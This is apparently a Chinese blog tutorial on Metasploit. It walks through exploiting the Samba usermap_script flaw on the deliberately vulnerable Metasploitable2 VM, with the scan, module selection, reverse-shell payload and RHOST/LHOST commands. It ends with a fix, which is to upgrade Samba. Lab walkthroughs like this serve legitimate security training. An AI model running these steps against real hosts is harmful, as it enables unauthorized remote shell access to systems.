每个操作系统都会存在各种Bug,像Windows这样有版权的操作系统,微软公司会快速地开发针对这些Bug或漏洞的补丁,并为用户提供更新。全世界有大量的漏洞研究人员会夜以继日地发现、研究新的Bug,这些没有公布补丁的Bug就是所谓的Oday漏洞。由于这种漏洞对网络安全具有巨大威胁,因此0day漏洞也成为黑客的最爱。实际上能够掌握0day漏洞的黑客少之又少。

微软公司会针对发现的Bug定期发布补丁,但是否下载更新则取决于用户自身。安全意识薄弱的个人用户或者中小企业常会忽略这些工作,特别是在小公司中,从补丁发布到服务器打补丁需要数星期,虽然打补丁时会涉及机器的重启或死机,对公司业绩没有帮助又增加了自身的工作量,但是未打补丁或补丁过期的操作系统对黑客而言是一个快乐的"天堂"。

下面就假设目标机是Metasploitable2,对Linux机器进行渗透攻击。

Metasploitable2虚拟系统是一个特别制作的Ubuntu操作系统,主要用于安全工具测试和演示常见的漏洞攻击。该虚拟系统兼容VMware、VirtualBox和其他虚拟平台, 默认只开启一个网络适配器并且开启NAT和Host- Only。该工具可以在网站https://sourceforge.net/projects/metasploitable/files/Metasploitable2/下载。

首先对Linux目标机进行扫描,收集可用的服务信息。使用Nmap扫描并查看系统开放端口和相关的应用程序,如图所示。

收集到目标机相关信息后,为其选择正确的Exploit和合适的Payload。从扫描结果中发现主机运行着Samba 3.x服务。Samba是在Linux和UNIX系统上实现SMB (Server Messages Block,信息服务块)协议的一款免费软件。SMB是一种在局域网上共享文件和打印机的通信协议,它在局域网内使用Linux和Windows系统的机器之间提供文件及打印机等资源的共享服务。

输入msf> search samba命令搜索Samba的漏洞利用模块,并选择合适的漏洞利用模块,如图所示。

然后Samba服务将返回漏洞利用模块的列表,按照各个漏洞被利用成功的相对难易度进行排序。

因为exploit/multi/samba/usermap_script被标记为"Excellent" ,即最杰出而且时间是最新的,为提高渗透成功率,这里选择此模块进行接下来的渗透。

有关漏洞的详细信息可以通过如下图所示的命令查看。

输入以下命令即可使用该漏洞模块

use exploit/multi/samba/usermap_script

然后可以看到Metasploit命令提示符msf>会变成msf exploit(usermap_script) > 。

使用如下图所示的命令即可查看该漏洞利用模块下可供选择的攻击载荷模块,因为目标是Linux机器,因此一定要选择Linux的攻击载荷。

这里使用如下图所示的命令选择基础的cmd/unix/reverse反向攻击载荷模块。

设置被攻击主机IP地址,命令如下所示。

msf exploit (usermap_script) > set RHOST 192.168.1.104

设置漏洞利用的端口号,命令如下所示。

msf exploit (usermap_script) > set RPORT 445

设置发动攻击主机IP地址,命令如下所示。

msf exploit (usermap_script) > set LHOST 192.168.1.101

设置完可以使用show options命令再次确认参数是否已设置正确。

设置完所有参数变量后,输入攻击命令exploit或者run,如下所示,发动攻击。

msf exploit (usermap_ script) > exploit

MSF发动攻击成功后会获取目标主机的Shell,为了验证该Shell是目标主机的,可以查询主机名、用户名和IP地址,并与目标主机进行对比,如图所示。



攻击成功后,可以看到在攻击机和目标机之间会建立一个Shell连接,渗透Windows系统的过程类似,唯一的差别是选择的漏洞利用模块和攻击载荷模块不一样。建议读者多尝试各种Exploit和Payload的组合,以加深理解。

防御方法: Samba服务漏洞发生在Samba版本3.0.20 ~ 3.0.25rc3中,当使用非默认用户名映射脚本配置时,通过指定一个用户名包含Shell元字符, 攻击者可以执行任意命令。将Samba升级到最新版本即可防御本漏洞。

Metasploit之漏洞利用( Metasploitable2)的更多相关文章

  1. Metasploit工具----漏洞利用模块

    漏洞利用是指由渗透测试者利用一个系统.应用或者服务中的安全漏洞进行的攻击行为.流行的渗透攻击技术包括缓冲区溢出.Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的 ...

  2. Metasploit MS15-020漏洞利用

    title date tags layout Metasploit MS15-020漏洞利用 2018-05-06 Metasploit post 环境: 共享机/受害者:windows xp IP: ...

  3. 利用NSA的MS17-010漏洞利用工具实现Win 7和Win Server 2008系统入侵

    影子经纪人(Shadow Brokers)最近陆续曝光的NSA网络武器令人震惊,尽管这些工具是否出自国家级别黑客团队之手尚不清楚,但至少存在一个可以说明问题的事实:这些漏洞利用工具都能有效运行,且具有 ...

  4. MS15-020 文件共享漏洞利用

    Metasploit MS15-020漏洞利用 环境: 共享机/受害者:windows xp IP:192.168.222.1 攻击机:kali linux IP:192.168.10.1 msfco ...

  5. 漏洞利用之Metasploit使用过程

    漏洞利用之Metasploit使用过程 先扫描端口,看开放的服务,如开放ftp,版本是vsftpd 2.3.4:使用search搜索vsftp查看是否在相应的漏洞利用exploit,输入search ...

  6. Metasploit漏洞利用,三个入侵主机实战案例

    受害者主机 windows2003 ie模拟工具ietest ie5.5/6/7/ 漏洞:MS10_002,MS10_018,MS12-020 ---------------------------- ...

  7. Kali MSF漏洞利用

    一.前言 漏洞利用是获得系统控制权限的重要途经.用户从目标系统中找到容易攻击的漏洞,然后利用该漏洞获取权限,从而实现对目标系统的控制. 二.Metasploitable Metasploitable是 ...

  8. Kali Linux渗透基础知识整理(三):漏洞利用

    漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透.网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的.顾名思义,利用漏洞,达到攻击的目的. Metasploit Framework rdeskt ...

  9. Nmap备忘单:从探索到漏洞利用 Part1

    在侦查过程中,信息收集的初始阶段是扫描. 侦查是什么? 侦查是尽可能多的收集目标网络的信息.从黑客的角度来看,信息收集对攻击非常有帮助,一般来说可以收集到以下信息: 电子邮件.端口号.操作系统.运行的 ...

随机推荐

  1. php使用curl来获取远程图片

    本文章来介绍php使用curl来获取远程图片实现方法,有需要了解采集远程图片的朋友不防进入参考. curl要求php环境支持才行. 可以运行phpinfo()函数是否支持,一般要将php.ini中;e ...

  2. 使用tess4j完成身份证和营业执照图片的文字识别

    这两天研究了一下关于OCR图文解析的技术.当然市场上已经有开源服务,比如百度的AI开放平台,就有OCR相关的API接口.我这里选用的是Tesseract开源框架,java封装版本是tess4j.结合网 ...

  3. Sign in with Apple 流程总结

    流程图 相关说明 UserId 与用户的 Apple Id 一一对应.在同一个开发帐号下的所有 app 里,获取到的值都一样. IdentityToken identityToken 是一个 Json ...

  4. 使用ClickHouse表函数将MySQL数据导入到ClickHouse

    #clickhouse-client :create database dw; :use dw; --导入数据: CREATE TABLE Orders ENGINE = MergeTree ORDE ...

  5. 技术揭秘:华为云DLI背后的核心计算引擎

    摘要:介绍隐藏在华为云数据湖探索服务背后的核心计算引擎Spark,玩转DLI,,轻松完成大数据的分析处理. 本文主要给大家介绍隐藏在华为云数据湖探索服务(后文简称DLI)背后的核心计算引擎——Spar ...

  6. Entity Framework 6 实体某些字段根据模型状态进行自动更新内容

    1.定义基础实体对象 public class BaseEntity { public int Id { get; set; } public DateTime? CreateTime { get; ...

  7. WebApis中DOM执行机制的认识

    1.1. 节点操作 1.1.1 删除节点 node.removeChild() 方法从 node节点中删除一个子节点,返回删除的节点. <button>删除</button> ...

  8. 用Java写编译器(1)- 词法和语法分析

    词法和语法分析器构建 ANTLR简介 ANTLR全称ANother Tool for Languate Recognition,是基于LL(*)算法实现的语法分析器生成器和词法分析器生成器,由旧金山大 ...

  9. KMP记录

    例题:luogu P3375 [模板]KMP字符串匹配 知识点:1.KMP模板,熟悉KMP 2.理解KMP过程:失配时,是从后缀转向前缀.即失配时,匹配串是从尾转到头继续匹配,被匹配串不改变. 3.注 ...

  10. Spring源码学习(六)-spring初始化回调方法源码学习

    1.spring官方指定了三种初始化回调方法 1.1.@PostConstruct.@PreDestory 1.2.实现 InitializingBean DisposableBean 接口 1.3. ...